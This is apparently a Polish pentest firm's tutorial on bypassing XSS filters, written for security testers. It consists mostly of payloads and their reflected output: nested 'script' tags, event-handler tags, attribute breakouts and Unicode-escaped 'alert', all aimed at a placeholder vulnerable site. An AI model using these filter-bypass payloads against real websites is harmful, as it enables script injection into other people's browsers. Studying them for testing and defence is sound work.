Nasze
Artykuły

XSS Omijanie filtrów

XSS Omijanie filtrów

Przy wielu projektach pentesterskich trafiamy na różnego rodzaju sposoby ochrony przed atakami Cross-Site Scripting. Nie zapominajmy jednak, że ataki można przeprowadzać na wiele różnych sposobów – począwszy od łączenia parametrów wyświetlanych na podatnej stronie, kończąc na stosowaniu specjalnych operatorów dostępnych w samym środowisku JS.

Poniżej zaprezentowane są przykłady automatycznie wykonywach payloadów XSS wraz z ominięciem podstawowych sposobów ich zabezpieczeń.

 

Przykład 1 – zmiana słowa tagu „script” na pusty ciąg

http://vulnerable-page.com/?show=<script>alert(1)</script>

 

Efekt:

<>alert(1)</>

 

http://vulnerable-page.com/?show=<scrscriptipt>alert(1)</scrscriptipt>

 

Efekt:

</script>alert(1)</script>

 

Przykład 2 – wykrywanie słów kluczowych script

http://vulnerable-page.com/?show=<script>alert(1)</script>

 

Efekt:

403 Forbidden

 

http://vulnerable-page.com/?show=<img src=not_exist onerror=alert(1) />

 

Efekt:

<img src=not_exist onerror=alert(1) />

 

Dla w/w przykładu możemy spróbować użyć dodatkowych tagów z parametrami:

<input type=text autofocus onfocus=alert(1)>

<svg onload=alert(1)>

<body onload=alert(1)>

<iframe onload=alert(1)>

<frame onload=alert(1)>

<input type=text onblur=alert(1) autofocus><input type=text autofocus>

<body onscroll=alert(1)><div style=display:block;height:9000px;>a</div><input autofocus>

<video><source onerror="alert(1)">

<video onerror="alert(1)"><source></source></video>

<iframe srcdoc="&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;" />

<frameset onload=alert(1)>

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>

 

Przykład 3 – wstrzykiwanie do parametru tagu np. „input”

http://vulnerable-page.com/?show=<script>alert(1)</script>

 

Efekt:

<input type=text value="<script>alert(1)</script>">

http://vulnerable-page.com/?show=" autofocus onfocus="alert(1)

 

Efekt:

<input type=text value="" autofocus onfocus="alert(1)">

 

Przykład 4 – wstrzykiwanie do parametru tagu np. „input” z wykrywaniem instrukcji JS

http://vulnerable-page.com/?show=" autofocus onfocus="alert(1)

 

Efekt:

403 Forbidden

 

http://vulnerable-page.com/?show=" autofocus onfocus="\u0061lert(1)

 

Efekt:

<input type=text value="" autofocus onfocus="\u0061lert(1)">

 

(JavaScript bez problemu radzi sobie z encjami Unicode)

 

 

Po więcej informacji, o tym jak testować bezpieczeństwo web aplikacji zapraszamy na szkolenie.